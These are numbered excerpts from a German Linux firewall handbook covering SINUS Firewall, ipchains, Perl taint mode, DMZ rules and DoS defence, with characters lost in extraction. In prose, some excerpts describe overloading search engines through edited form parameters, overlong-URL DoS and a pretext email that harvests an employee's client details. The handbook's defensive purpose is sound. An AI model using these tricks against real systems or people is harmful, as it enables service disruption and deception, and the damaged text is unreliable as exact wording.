552. t sind An dieser Stelle k nnen beliebige Tests f r Nicht TCP Protokolle eingef gt werden z B weitere Routingprotokolle wie OSPF Nach dem Test auf TTL IP Optionen werden Quell und Zieladresse Ports durch die Funktion sf_addr_match auf Verletzungen der Regeln untersucht Hier sind erklarende Kommentare im Quellcode eingef gt Am Ende aller Untersuchungen zeigt die Variable rule auf die zutreffenden Regeln oder auf NULL wenn keine der Regeln zutreffend ist Wenn eine Regel auf ein TCP Paket zutrifft dann wird ein Eintrag in der HASH Queue f r diese Verbindung vorgenommen Wenn dann keine Log Eintrage mehr abzuarbeiten sind kann der Filter seine Arbeit beenden Log Eintrage Erstellt von Doc Gonzo http kickme to plugins Der Transfer der Log Eintr ge vom Filter zum Firewall D mon erfolgt ber einen Puffer im Firewall Device Falls der Puffer voll ist werden alle Pakete verworfen egal ob die Filterregeln zutreffen oder nicht F r die betroffenen Hosts erscheint dieses so als wenn Pakete aus unbekannten Gr nden verlorengegangen sind Log Eintr ge bestehen aus dem R ckgabewert der Regel ID dem Namen des Devices und den ersten 176 Bytes des Paketes Die Gr e wurde so gew hlt da zumindest alle Protokollheader aufgezeichnet werden und die Gesamtgr e der Log Struktur die maximale Gr e f r eine Speicherseite nicht berschreitet Siehe sf_filter h Nun wird der Firewall D mon aufweckt damit die Fi
553. t und sf_rule_next werden f r die bergabe der Konfiguration an den aktuellen SFC Proze bei der Eingabe von SFC SHOW ben tigt Die n chste Regel die bergeben wird ist in rule_first_next gespeichert Die Konfiguration wird also an den Filter bergeben obwohl der Firewall D mon alle geraden aktiven Regeln kennt Nur so kann der User sicher sein da die Ausgabe der momentanen Filterregeln Variablen und Zust nde auch tats chlich dem momentanen Zustand der Firewall zu einem bestimmten Zeitpunkt entspricht Die etwas schlechtere Performance w hrend dieses Zeitpunktes der Abfrage ist hier nicht so wichtig da der Befehl SFC SHOW nicht so h ufig ausgef hrt wird 15 SINUS Firewall Installation Die Installation der SINUS Firewall wird nun im Folgenden detailliert erkl rt Hierzu sind Kenntnisse zur Kompilation erforderlich die im Detail im Kapitel ber IPFWADM erkl rt wurden Danach mu nur noch die Konfigurationsdatei angepa t werden und die Firewall in den Kernel eingebunden werden Weit komplexer ist aber die Installation von ENSkip im Kernel 2 0 36 und die Installation des JAVA Runtime Moduls auf einer Arbeitsstation unter Windows damit man die Firewall ber das JAVA Interface administrieren kann 15 1 nderungen im Kernel Erstellt von Doc Gonzo http kickme to plugins Die Installation der SINUS Firewall erfordert kleine nderungen im Kernel des Betriebssystems vornehmlich um ein Kommunikationsinterface f r die
554. t von Doc Gonzo http kickme to plugins delegieren Diese Architektur wird z B von smtpd und smtpfwdd von Obtuse verwendet 30 4 Der Taint Modus bei PERL 1 Der Taint Modus von Perl gibt eine Unterst tzung bei der Ausf hrung des Perl Skripts die Benutzereingaben und andere Einflu m glichkeiten verfolgt 2 Das Prinzip ist einfach Alle Benutzereingaben und durch Benutzer einflu baren Variablen sind kontaminiert Wird eine Variable gesetzt in Abh ngigkeit einer kontaminierten Variable so wird sie selbst kontaminiert 3 Kontaminierte Variablen d rfen nicht verwendet werden um bestimmte gef hrliche Operationen durchzuf hren wie z B SYSTEM 4 Der Modus wird durch T auf der Kommandozeile oder implizit durch das s bit eingeschaltet 30 5 Gef hrliche Parameter bei Variablen 1 Folgendes wird von Anfang an als kontaminiert betrachtet 1 alle Kommandozeilen Argumente 2 alle Umgebungs Variablen 3 Lokalit tsinformationen locale 4 Resultate einiger Systemaufrufe wie readdir 2 oder readlink 2 5 das gecos Feld aus der PaBwort Datei beim Zugriff ber die getpw Prozeduren 6 Resultate von und 7 alle Eingaben von Dateien Netzwerkverbindungen oder anderen Kan len 2 Eine Variable die in Abh ngigkeit einer kontaminierten Variable gesetzt wird wird ebenfalls kontaminiert selbst wenn die Operation garantiert ungef hrlich ist z B weil der urspr ngliche Wert nicht ver ndert wird 3 D
555. te RAM 2x10 MBit Karten und LINUX 2 0 v llig aus Besonderes Tuning ist nicht erforderlich 21 2 Einsatz in Intranets LINUX ist pr destiniert f r die Absicherung von einzelnen Abteilungen innerhalb eines gro en Unternehmens Die minimalen Anschaffungskosten und die leichte Bedienbarkeit ber die JAVA Benutzeroberfl che der SINUS Firewall 1 erlauben es auch Anf ngern einzelne security policies direkt umzusetzen Intranets haben eine h here Bandbreite 10 100 MBit als im Internet blich jedoch ist die Zahl der simultanen oder halboffenen Verbindungen pro Sekunde sehr viel kleiner als bei ISP s Da die Firewall die Regeln ja nur bei einem Neuaufbau einer Verbindung durchlaufen mu ist im Prinzip ein Pentium 66 mit 16 MByte RAM und 2x100 MBit Netzwerkkarten v llig ausreichend Man sollte die Tuning Regeln im Kapitel Firewall Router mit SQUID Proxy beachten 21 3 Einsatz als Firewall Router Beim Einsatz als Firewall Router sind die Anforderungen noch geringer als die beim Einsatz im Intranet da eine ISDN Anbindung sehr langsam ist Ein 80386 33 mit 16 MB RAM reicht da v llig aus 21 4 Firewall Router mit SQUID Proxy Wer LINUX als Firewall Router und Intranet Server Mail Server sowie PROXY einsetzen m chte der sollte mindestens einen Pentium 166 mit 64 MB RAM einsetzen PROXY s verbrauchen eine gro e Zahl von Filehandels maximale Zahl von offenen Dateien soda hier der Kernel und der PROXY neu kompiliert werden m
556. tem aus irgendwelchen unerfindlichen Gr nden von der Polizei zerst rt wurde H tte eine Firewall diesen Angriff verhindert Ganz sicher nicht da die Ports 21 FTP 80 WWW 23 TELNET und 110 POP3 h tte freigeschaltet sein m ssen damit der Betrieb nicht gest rt worden w re Der Exploit verwendet den Port 110 um eine Telnet Session zu starten die ROOT Shell Eine Sperrung des Port 23 TELNET h tte ebenfalls nichts gebracht da der Angreifer ja ebenfalls eine Telnet Session ber den Port 110 gestartet hatte H tte die Firewall eventuell diejenigen Informationen liefern k nnen die der Einbrecher aus den Logfiles gel scht hat Nein da der Angreifer f r seine Angriffe einen PROXY verwendet hat also niemals direkten Kontakt mit dem Server hatte Die Firewall h tte dieses ebenfalls so aufgezeichnet H tte die Verwendung eines anderen Betriebssystems diesen Angriff verhindert Bedingt da auch andere Betriebssysteme Sicherheitsl cken besitzten allerdings andere die vielleicht nicht so bekannt sind Einen professionellen Angreifer h tte diese nicht gehindert Viele Angriffe auf LINUX werden jedoch von Hackern durchgef hrt die zum Spa herumspielen Die Mehrzahl dieser Hacker sucht sich LINUX Server aus Dementsprechend ist die Ausfallrate bei LINUX h her wenn der Systemadministrator nicht regelm ig und gewissenhaft immer die neuesten Patches aufspielt Das versteht sich aber auch bei anderen Betriebssystemen von selbe
557. ten Befehle miteinander zu kombinieren Bei SQL Datenbanken sind die M glichkeiten so vielf ltig da man durchaus duch geschickte INDIZIERUNG bestimmter Fehler das tausend oder millionenfache an Erstellt von Doc Gonzo http kickme to plugins Geschwindigkeit herausholen kann Siehe Skript MySQL Tuning Alle Parser haben bestimmte Schw chen bei der Interpretation von Statements Wer sich ein wenig mit C besch ftigt hat der wird bemerkt haben da verschiedene Compiler bestimmte Statements unterschiedlich interpretieren Durch eine gr ndliche Analyse der Datenbank kommt man nach einiger Zeit auf Varianten die eventuell noch nicht im Filter implementiert wurden 4 Denial of Service durch zu lange Ausgabe Ergebnisse trifft immer dann zu wenn jemand z B nach dem Buchstaben a SQL suchen l t In vielen F llen ist die Eingabemaske in ihren M glichkeiten schon eingeschr nkt Siehe WWW Interfaces Wer sich die komplexe Struktur der bergebenen Parameter anschaut der kann oft bei Suchmaschinen feststellen da die max Zahl der Ausgaben in dem HTML Code steckt Man kopiert sich die HTML Seite auf die Arbeitsstation ndert die Ausgabe auf ein paar Millionen und schon hat man die Suchmaschine berlastet 5 Denial of Service durch Patermeter mit Uberlange ist ein hnlicher Versuch die Datenbank zur Verzweiflung zu bringen Im Falle des IIS 2 0 und 3 0 konnte man durch Angabe einer URL mit vielen tausend Buchstaben L
558. ten lt 1024 mit Ausnahme der f r X Windows reserviertenPorts 6000 6100 Ein Zugriff auf privilegierte Ports oder X Window Server ber die Firewall hinweg ist dann nicht mehr m glich Es gibt aber gen gend Portnummern die z B f r Fernwartung Proxy Cache o genutzt werden Diese Ports sind weiterhin gef hrdet 14 20 Design der internen Kommunikation Es werden zwei Arten von sockets benutzt sockcomm und sockfriends warten auf eingehende Nachrichten von trustedhosts und fiends also explizit in den Firewall Regeln eingetragene vertrauenswurdige befreundete Hosts Die Funktionen sock_trusted undsock_friends sind Listen von Sockets die Nachrichten an jeden eizelnen trusted host und friend senden Es gibt aber im D mon keinerlei Schutz gegen unberechtigte Zugriffe von au en Es ist also unbedingt erforderlich den UDP Port 7227 f r eingehende Nachrichten von trusted hosts und den UDP Port 7228 f r eingehende Nachrichten von friends freizuschalten e Nachrichten Angesichts dessen da diese Austauschkan le einen sicheren IP Layer ben tigen der ohnehin Pr fsummen der bertragenen Daten erstellt wird die Ubertragung Uber UDP abgewickelt Trotzdem ist der Transfer der dynamischen Regeln der Firewalls untereinander ber Pr fsummen nochmals abgesichert Die Nachrichten selber bestehen aus zwei verschiedenen Nachrichtentypen aus Logeintr gen und dynamische Firewallregeln e Die Logeintr ge Die Logeintr ge besteh
559. ten zu rekonfigurieren und user Befehle anzuzeigen Erstellt von Doc Gonzo http kickme to plugins Signale and the Firewall Pipe Der Firewall D mon reagiert auf alle Signale bis auf SIGKILL und SIGSTOP Die Signale des Signalhandlers kill wirken sich auf alle Funktionen der Firewall aus ber den Signalh ndler werden Timeouts von dynamischen Firewallregeln und Variablen Alarmfunktion geregelt das Programm beendet SIGTERM und eine Kopie initiiert SIGUSR2 sowie Variablen in eine Firewall Pipe geschrieben Das Signal SIGUSR2 wird von dem SFC Programm gesendet z B um Variablen anzuzeigen sfc show Der Firewall D mon forkt dann um einen Schnappschu seines momentanen Zustandes festzuhalten Andernfalls w rden sich Variablen w hrend des Auslesens ver ndern der Zustand w re nicht eindeutig Da nun der User mit dem SFC Programm in Ruhe den Zustand betrachten und analysieren kann kann auch der Firewall D mon weiter laufen Es ist allerdings zu beachten da gerade bei Hispeed Netzwerken gen gend RAM zur Verf gung steht Die Firewall Pipe ist eine named pipe und wird dazu benutzt um diejenigen Daten wie Variablen dynamische Regeln von der Kopie des Firewall D mons zu erhalten Da die Daten aus dem Firewall Device zu dem laufenden Firewall D mon geh ren kann nur ber dieses Ersatzdevice der Zustand der momentanen Kopie des Firewall D mons abgerufen werden Diese steht unter der Kontrolle des SFC Programms
560. tergeleitet werden soda jemand eventuell Daten aus einem Datenbankserver abfragen kann ohne direkt mit diesem in Kontakt treten zu m ssen Damit kann die Firewall auch keinen Protokolleintrag aufweisen e Zugriffe von Arbeitsstationen auf Server k nnen in einer Firewall nur dann korrekt einem Anwender zugeordnet werden wenn diese Arbeitsstation stets eine feste IP Nummer zugeordnet wird Beim Einsatz von DHCP also dem IP Leasing Modell von IBM mu die Firewall und alle Router stets dar ber informiert sein welche Arbeitsstation mit welchem User gerade welche IP Numer verwendet Da die meisten Router und Firewalls bei DHCP passen m ssen bleibt nur die feste Zuordnung von IP Nummern und Arbeitsstationen Im DHCP Server kann man Reservierungen f r bestimmte MAC Adressen festlegen womit man das Problem dann umgangen hat Ohne diese Festlegung ist eine berwachung eines Netzwerkes viel komplexer Leider hat Microsoft diese Kommunikationsprotokolle der PDC s untereinander auf den RPC s Remote Procedure Calls aufgebaut einer Mischung aus TCP und UDP Protokollen Das hat zur Folge da der Systemadministrator zur Absicherung und berwachung von NT Netzwerken sehr teuere Firewalls einsetzen mu die die RPC Erstellt von Doc Gonzo http kickme to plugins Proxy Mechanismen beherrschen Die einzige Firewall die im Quellcode verf gbar ist und dieses Protokoll beherrscht ist das TIS FWTK Aber auch ber die Programmierung der S
561. ternehmen quasi auf den Bildschirm gezeichnet Die Firewall lernt auf diese Art und Weise das Netzwerk kennen indem Sie einfach nur Zeichnen Wer SINUS Firewall 1 Cluster einsetzt der kann hiermit auch mehrere Gateways gleichzeitig berwachen Die Regeln bertragen sich so auch auf die anderen Firewalls Somit l t sich die security policy leichter umsetzen Man sieht hier schon die Unterscheidung zwischen Netzwerken mit mehreren Hosts einzelnen Hosts den Netzwerken selber und dem Internet Cp pO Abbildung SINUS Firewall Topologie Editor SINUS Host Editor Mit dem Host Editor wird der Firewall mitgeteilt welche Netzwerknummern und IP Nummern an welcher Stelle des Netzwerkes auftreten Die Firewall ben tigt diese Informationen um z B Spoofing Angriffe abwehren zu k nnen Der Host Editor ist nat rlich nur in Verbindung mit dem Topologie Editor sinnvoll Zuerst werden Hosts definiert sp ter k nnen diese mit anderen Hosts oder Netzwerken ber den Toplologie Editor in Verbindung gebracht werden Erstellt von Doc Gonzo http kickme to plugins ae 130 560 1064 60 106 255 255 255 251 Abbildung SINUS Firewall Host Editor SINUS Notification Level Editor Die Notification Level beschreiben was im Falle eines Matches so werden zutreffende Regeln genannt zu tun ist Hier gibt es verschiedene M glichkeiten Ignorieren benachrichtigen sperren Hier hat man alle verschied
562. theiten mag mir der Leser verzeihen nobody is perfect meine eMail Adresse ist stepken little idiot de 6 Copyright Das Copyright dieses Firewall Handbuches liegt bei Guido Stepken Das Handbuch ist als Online Nachschlagewerk f r LINUX Firewaller gedacht Links auf dieses Handbuch sowie das Kopieren auf Resourcen im Internet also auch das Spiegeln Mirroring Caching auf andere Sites ist ausdr cklich erlaubt Jede Art von kommerzieller Verwertung d h auch das Kopieren auf CDROM oder andere Datentr ger sowie der Druck bedarf der ausdr cklichen Zustimmung des Autors Die Versionen vor dieser Version 3 0 unterliegen weiterhin der GPL GNU Public License Erstellt von Doc Gonzo http kickme to plugins Nun viel Spa mit dem Firewall Handbuch Erstellt wurde dieses Dokument mit etwas modifizierten LINUX SGML Tools Siehe auch http www sgml org erweitert um CSS Stylesheets 7 H ufig gestellte Fragen FAQ Zuerst vielen Dank f r die viele positive Resonanz auf mein Handbuch Einige Dinge sind sicher noch verbesserungsbed rftig andere aber auch beabsichtigt Hier also die Fragen Wenn ich das fertige FirewallSkript starte erhalte ich viele Fehlermeldungen Das ist wahr Es fehlen n mlich einige Definitionen von Variablen Ohne g ltige Variablen oben im Header melden weiter unten einige ipfwadm Befehle einen Syntaxerror Um herauszufinden an welcher Stelle dies geschieht kann man einfach an einigen Stellen eine Zeil
563. tivierten dynamischen Filterregeln berpr ft werden Nur so l t sich zuverl ssig berpr fen ob ein zuverl ssiger Betrieb auch unter Beschu gew hrleistet werden kann Nebenher gesagt je schneller die Anbindung an das Internet ist umso gr er sind die Gefahren einem solchen DoS Angriff zum Opfer zu fallen Beachtung gilt auch stets benachbarten Servern die evtl von einem Angreifer f r einen DoS Angriff mi braucht werden k nnten Diese Angriffe sind doch recht h ufig und werden vielfach nicht als Angriff erkannt Verhinderung von TCP IP DoS Angriffen Themen Erstellt von Doc Gonzo http kickme to plugins SYN flooding mit random source Schlie en nach 50 000 SYN Paketen SYN Cookies Random Early Drop Weniger bekannt ist da Firewalls alle gro e Probleme mit SYN flooding Angriffen haben Es ist nicht SYN flooding von einer IP Quelle welches durch alle g ngigen Security Scanner berpr ft wird sondern das Fluten mit random source IP Nummern also gespooften SYN Paketen Wie sollte eine Firewall feststellen ob ein SYN Paket einen echten Verbindungswunsch darstellt oder zu dem DoS Angriff geh rt Einige Firewall Hersteller darunter auch die Marktf hrer verk nden gro spurig Selbstverst ndlich bei lt 50 000 SYN Paketen je nach Einstellung macht unsere Firewall f r einige Zeit dicht Genau dieses Verhalten m chte ein Angreifer aber provozieren um erfolgreich einen DoS Angriff ausf hren zu
564. tor erf hrt trotz aktiver Firewall nichts von einem Angriff Damit ist der Sinn einer Firewall v llig in Frage gestellt In der Praxis kann man bei vielen Clients jedoch den Bereich von Ports einschr nken was aber prinzipiell nichts ndert da sich auch Programme wie BO anpassen lassen 19 Firewall mit bastion host und DMZ Dieses Kapitel beschreibt die Problematik der Architektur von mehrstufigen Firewalls mit DMZ De Militarisierte Zone Es sehr komplex diese Regeln aufzusetzen und vor allem zu verstehen da nicht immer klar wird warum diese Regeln genau so implementiert werden m ssen Nach der Liste folgen die Erkl rungen Es ist eine gute Ubungsaufgabe eine einzige willk rlich gew hlte Regel zu entfernen und zu berlegen was dann passiert Z B ist FTP 7 eine h ufig vergessene Regel Welche Angriffe werden m glich Erst wer diese Frage genau beantworten kann der sollte eine Firewall mit DMZ installieren 19 1 Innere Firewall mit bastion host und Grenznetz Die innere Firewall ist im Grunde das letzte Hindernis welches einen Angreifer noch vom internen Netzwerk trennt Die Server im Grenznetz m ssen aufgrund ihrer Anf lligkeit f r Angriffe im Prinzip als unsicher betrachtet werden Es empfiehlt sich f r diese Server eine Fernwartung mit einem verschl sselten Client wie z B SSH von einer Arbeitsstation aus F r einen Angreifer ist es auch nach einem Angriff wesentlich schwieriger seinen Angriff ber einen solchen SSL C
565. tree icons wtree sounds wtree images wtree log or just copy these from your existing web tree And of course create a directory for your cgi bin tree using whatever name you have specified in the http configuration file Copy your prepared configuration file httpd conf into wtree etc or whatever sub directory you have designated for this purpose Also prepare and copy any other httpd files that you will need for example passwd group protection and copy an appropriate www_acl file into these directories as well Make a chroot wrapper for your daemon compile and install it and update whatever Skript will be launching it from boot up For example if I call my wrapper httpd and install it in usr local bin then from etc inittab the Erstellt von Doc Gonzo http kickme to plugins entry looks something like blah run_level once usr local bin httpd wtree gt gt tmp httpd log 2 gt amp 1 An example wrapper follows The uMsg calls are just home brewed function calls that output error messages Substitute your own error messages wrapper BEGINS include lt stdio h gt include lt unistd h gt include uUtil h for uMsg void main int argc char argv uid_t uid your_web_user_uid_here gid_t gid your_web_user_gid_here int ierr 1 char p if arge 2 fprintf stderr USAGE s WEB_ROOT n argv 0 fprintf stderr WHERE WEB_ROOT is
566. ts f r den Datenaustausch aufkommen kann und mu man bei Windows NT bestimmten Diensten einen festen IP Bereich zuweisen der dann auch von der Firewall zugeordnet werden kann D h z B da f r RPC Protokolle nur Ports zwischen 15000 und 15100 verwendet werden d rfen Zu einer Security Policy geh rt auch die Festlegung der Ports f r bestimmte Dienste e F r alle Dienste m ssen also legale Portnummern zugewiesen werden damit die Firewalls im Unternehmen den Datenflu berhaupt kontrollieren k nnen e Danach erst k nnen die Zugriffe von Arbeitsstationen auf bestimmte Server und deren Dienste kontrolliert werden Allerdings geh rt dann zu einer berwachung auch die Protokollierung des Datenverkehrs ber Interfaces Hierzu mu man alle m glichen Interfaces die Daten weitertransportieren k nnen kennen e M gliche Interfaces sind teilweise bekannt PROXY s CGI BIN s WWW Server Es gibt aber auch Interfaces die kaum jemanden bekannt sind Fehlerhaft programmierte FTP Server der WWW Server IIS APACHE der Inet D mon unter UNIX fehlerhafte TCP IP Stacks bei Microsoft der Filter WEBWASHER von Siemens der auch als PROXY arbeitet der SAMBAR WWW Server und PROXY Groupware Server NOVELL Groupwise der EXCHANGE Server der MAIL SERVER SENDMAIL ohne SPAM Kontrolle der DNS Server u s w Die Liste ist sehr lang der m gliche Mi brauch dieser 0 9 Software ist nachgewiesen e Uber diese Interfaces k nnen Datenpakete wei
567. tted 0 packets received 100 packet loss Man kann hier gut erkennen daB das erste Ping ein einmaliges Paket versendet und ein Echo erscheint Nach Programmierung des Kernels erscheint kein Echo mehr Die Syntax des Befehls ist recht einfach F ge an die input chain eine Regel an die Pakete mit dem Protokolls ICMP von der Quelladresse 127 0 0 1 verwirft Die Regel kann auf zwei Weisen wieder gel scht werden Zuerst kann die Regel die die erste und einzige in der chain ist unter Angabe der Nummer gel scht werden ipchains D input 1 Die zweite Variante ist ein L schen der Regel dadurch da man die Syntax der Regel noch einmal wiederholt nur diesmal aber nicht anf gt A sondern l scht D ipchains D input s 127 0 0 1 p icmp j DENY Existieren mehrere gleichlautende Regeln in der chain so wird nur die erste Regel gel scht als vorsicht mit dem mehrfachen Aufruf von Skripten Filter Spezifikationen Es wurden bisher nur die Optionen p und s eingef hrt Um auch Dienste auf Port Ebene filtern zu k nnen sind zus tzliche Angaben notwendig Genau hierum dreht sich dieses l ngere Kompendium Filtern nach Quell und Zieladresse Die Quell s und Ziel d IP Adressen k nnen im Prinzip auf vier verschiedene Arten erfolgen Einmal k nnen die IP Adressen direkt als Quadrupel von vier Zahlen zwischen 0 und 255 angegeben werden wie 127 0 0 1 zum anderen kann der Name eingesetzt werden wie z B local
568. tur im Internet verf gbar ist Auch das ist Rekord Insbesondere ISP s leiden unter diesen Angriffen auf LINUX Angesichts der schnellen Verf gbarkeit von Patches ist der Einsatz von LINUX im Internet noch zu rechtfertigen gewissenhafte Pflege vorausgesetzt WINDOWS NT Schwieriger wird die Aussage bei Windows NT 4 0 Windows NT hat eine Unzahl von Fehlern die von Microsoft erst nach Monaten korrigiert wurden speziell aber funktionierende exploits sind allerdings selten Windows NT f llt auch noch mit SP5 diversen DoS Angriffen zum Opfer Viele Lamer so werden Hacker bezeichnet die mit vorgefertigten Werkzeugen Das liegt zum einen daran da Angreifer NT Server in der Vergangenheit durch den sehr schlechten instabilen TCP IP Stack einfach stillegen konnten und sich damit zufrieden gaben Das betrifft vor allem eine Unzahl von Lamern so werden Hacker genannt die die exploits anderer nur anwenden und sich toll dabei f hlen Andererseits besitzt NT soviele Fehler da es oft keiner buffer overflows bedarf um die Festplatte eines Internet Servers einzusehen buffer overflows f r NT zu schreiben ist allerdings kein gr eres Problem als einen f r LINUX oder andere Betriebssysteme zu schreiben wie IOpht gezeigt hat Was das ganze f r einen echten Angreifer schwieriger macht ist da Microsoft so viele verschiedene Varianten von NT 4 0 im Umlauf hat da es eine l ngere Zeit dauert bis man die korrekte Version d
569. tzen Port 3306 Da MySQL keinen dedicated Modus besitzt ist es hier immer notwendig alle Ports gt 1024 freizuschalten Erstellt von Doc Gonzo http kickme to plugins Regel Richtung Protokoll Quellport Zielport Erg nzungen l1 ein TCP gt 1023 1521 SYN ACK 2 aus TCP 1521 gt 1023 ACK 3 aus TCP gt 1023 1521 SYN ACK 4 ein TCP 1521 gt 1023 ACK Anmerkungen zu den Regeln 1 Eingehende Verbindung Client an Server ACK gesetzt au er im ersten Paket 2 Eingehende Verbindung Server an Client ACK gesetzt 3 Ausgehende Verbindung Client an Server ACK gesetzt au er im ersten Paket 4 Ausgehende Verbindung Server an Client ACK gesetzt 18 13 Generelle Gefahren bei UDP Protokollen Viele der hier aufgez hlten Protokolle basieren unter anderem auf UDP Hierzu geh ren Windows NT PDC NFS RPC allgemein REALVIDEO REALAUDIO Videokonferencing wie Netmeeting u s w UDP hat generell wie schon beschrieben den Nachteil da es kein SYN ACK Mechanismus besitzt d h da die Firewall nicht feststellen kann ob die Verbindung von innerhalb heraus ge ffnet worden ist oder ob evtl jemand von au en Pakete zus tzlich einschleust z B mit gespooften Paketen F r NFS findet man hier zahlreiche Beispiele auf http www rootshell com die aufzeigen wie man bei NFS Verbindungen File Handels erraten kann um somit eigene Programme ber die Firewall hinweg auf die Festplatte einzuschleusen Dasselbe ist prinzipiell auch m glich
570. u Zeit ver ndert werden m ssen weil Microsoft mal wieder irgendwelche Verbesserungen eingefallen sind Wer eine kommerzielle Firewall wie z B Firewall 1 von Checkpoint gekauft hat der mu f r die kleinen Anderungen der Regeln teuer bezahlen Der H ndler selber vor Ort schaut in der Support Datenbank von Checkpoint nach und kopiert das Makro auf die Firewall fertig F r die SINUS Firewall 1 gibt es f r viele Protokolle Makro s der Support ist gerade im Aufbau Mit der Implementierung der SINUS Firewall 1 auf die Kernel 2 2 werden diese Makro s auch frei verf gbar sein Zusammenfassend kann man sagen da die SINUS Firewall alle Protokolle absichern kann einen hochwertigen PROXY ersetzt sie allerdings nicht Aber auch Firewall 1 von Checkpoint beherrscht nicht alle Protokolle perfekt 15 4 Start und berwachung der Firewall Nach der Installation und Konfiguration der Firewall ist nun das wichtigste Ziel die Firewall zu berwachen Dieser Abschnitt beschreibt die Kommandos des Programms sfc Zuerst sollte man sich vergewissern da das Kernel Filtermodul in den Kernel eingef gt worden ist Der Shell Befehl Ismod zeigt alle geladenen Module des Kernels an W hrend das Filtermodul stets als zus tzliches Modul geladen werden mu k nnte es sein da vom Kerneld mon einige Module z B f r Netzwerkkarten eigenst ndig geladen worden sind Wichtig ist das das Modul sf geladen sind Generell f r alle folgenden Befehle g
571. uch handschriftlich Kommunikationswege Gateways zu anderen Netzwerken Server Router Switches Firewalls Modems ISDN Karten in Arbeitsstationen Netzwerkdrucker Fax Server NON EON Erstellt von Doc Gonzo http kickme to plugins Zeiterfassungssysteme Arbeitsstationen und Standorte Hardwareadressen und IP Nummern Installierte Software und Versionsnummern und Patchlevel Aktivierte Protokolle und Dienste Interfaces zu anderen Diensten Verbindungswege Fernwartungszug nge zu Zeiterfassungssystemen Telefonanlagen Servern Analyse der Abh ngigkeiten der Systeme untereinander OCONOaARWN Anayse der DNS Abhangigkeiten Analyse der MAIL DNS Abhangigkeiten Analyse von NDS X 500 LDAP ActiveDirectory Services Double Reverse Lookups IDENTD Lookups Abhangigkeiten der Protokolle Mi brauch von Interfaces zum Datentransport Abh ngigkeiten der Dienste Abh ngigkeiten der Authentifizierungsverfahren Abh ngigkeiten der Backup Systeme Abh ngigkeiten anderer redundanter Systeme Analyse des Sicherheitssysteme untereinander Kontrolle der Abh ngigkeiten berpr fung der Abh ngigkeiten der Systeme untereinander Konsequenzen bei Fehlbedienung Konsequenzen bei Ausf llen Sicherheitsrelavante Informationen im Unternehmen Zur Kl rung welche Daten einen Angreifer im Unternehmen evtl interessieren k nnen ist es notwendig festzustellen auf welchen Servern wichtige In
572. uf die externe Clients zugreifen k nnen vorhanden sind existieren keine entsprechenden Regeln f r den inneren Router e DNS1 DNS Anfragen ber UDP und Antworten vom DNS Server auf dem Bastion Host zu DNS Servern im Internet werden hierdurch erlaubt e DNS2 DNS Anfragen ber UDP und Antworten von DNS Servern im Internet zum DNS Servers auf dem Bastion Host werden hierdurch erlaubt e DNS3 und DNS4 Um Anfragen an den DNS Server auf dem Bastion Host zu stellen und dessen Antworten zu empfangen gestatten diese Regeln externen DNS Clients UDP Verbindungen e DNS5 und DNS6 DNS Anfragen ber TCP vom Bastion Host zu DNS Servern im Internet werden durch diese Regeln zugelassen ebenso alle Antworten auf solche Fragen Desweiteren werden Zonen Transfers mit dem DNS Server auf dem Bastion Host als sekund rem Server und einem externen DNS Server als prim rem Server erlaubt e DNS7 und DNS8 DNS Anfragen Uber TCP aus dem Internet zum DNS Servern auf dem Bastion Host werden durch diese Regeln zugelassen ebenso alle Antworten auf solche Fragen Desweiteren werden Zonen Transfers mit dem DNS Server auf dem Bastion Host als prim rem Server und einem externen DNS Server als sekund rem Server erlaubt e STD1 und STD2 Diese Regeln blockieren alle Pakete sofern sie nicht in einer der vorhergehenden Regeln erlaubt wurden 19 3 Einrichtung des bastion hosts Einrichtung des bastion hosts als DNS Server Damit ein Angreifer keinerlei Information
573. uktur der Informationsfl sse kennen evtl sogar die Portnummer des Proxy Servers um eine direkte Verbindung also einen Tunnel ber die Firewall hinweg aufbauen zu k nnen Ist ihm das gelungen so ist die Firewall berwunden Damit es etwas anschaulicher wird einige teilweise erfundene Beispiele die vielleicht etwas phantasievoll anmuten sich jedoch so abspielen k nnten Angriff ber eine beliebige Firewall hinweg Der Angreifer der sich telefonisch im Sekretariat davon berzeugt hat da Herr Mitarbeiter vom 24 12 2000 auch wirklich Zeit hat schickt diesem eine E Mail Sehr geehrter Herr Mitarbeiter Zur Er ffnung unserer neuen Filiale m chten wir Sie gerne pers nlich einladen Neben Vorstellungen neuer Internet Technologien durch unsere Referenten XY Microsoft und WV SUN m chten wir Sie gerne auch mit leiblichen berraschungen verw hnen Wir bitte Sie daher uns mitzuteilen ob wir Sie am 24 12 2000 10 Uhr in unserer neuen Filiale begr en d rfen Elektronische Anmeldung bitte auf http www little idiot de cgi bin test cgi diese URL liefert u a Informationen Mit freundlichen Gr en gez Boss Herr Mitarbeiter sichtlich erfreut angesichts der leiblichen und geistigen berraschungen sagt via Mail zu Kurze Zeit sp ter ist der Angreifer im Besitz folgender Informationen REMOTE_ADDR 212 53 238 2 REMOTE_HOST 212 53 238 2 QUERY_STRING Name Mueller HTTP_USER_AGENT Mozilla 4 0 compatib
574. und von einer unabh ngigen Firma Institut zuvor berpr ft worden Siehe hierzu auch Kapitel Stories In fast allen F llen ist das von diesen Firmen verwendete Werkzeug der ISS Security Scanner der typische Fehler aufdecken kann Ein seri ser Cracker w rde niemals auch nur auf die Idee kommen eine bekannte Sicherheitsl cke f r seinen Angriff zu benutzen Das ist der Unterschied zwischen Crackern und Lamern Die sogenannten Security Scanner oder Exploits werden immer nur von sogenannten lamern Trittbrettfahern niemals aber von Profi s mit einem gezielten Auftrag verwendet Wer also in den Logfiles seiner Firewall mal wieder einen Angriff verzeichnet sieht der kann absolut sicher sein da hier keine Profis am Werk waren Aus diesem Grunde sind die so gerne in seri sen IT Zeischriften angef hrten Statistiken und Umfragen zu registrierten Angriffen v lliger Bl dsinn Nach meinen Erfahrungen werden 95 aller Angriffe auf WWW Server und eine etwas h here Zahl von Angriffen auf Server ber Arbeitsstationen nicht bemerkt Die Zahlen bei WWW Servern begr nden sich LINUX Server mit SPARC und ARM Prozessor im Internet die von mir speziell konfiguriert wurden um bekannte und unbekannte buffer overflows zu registrieren Da von fast allen Angreifern buffer overflows verwendet wurden die auf INTEL Prozessoren zugeschnitten wurden war es m glich diese Angriffe zu registrieren und auszuwerten Zur Sch tzung der Angriffe und Angriffs
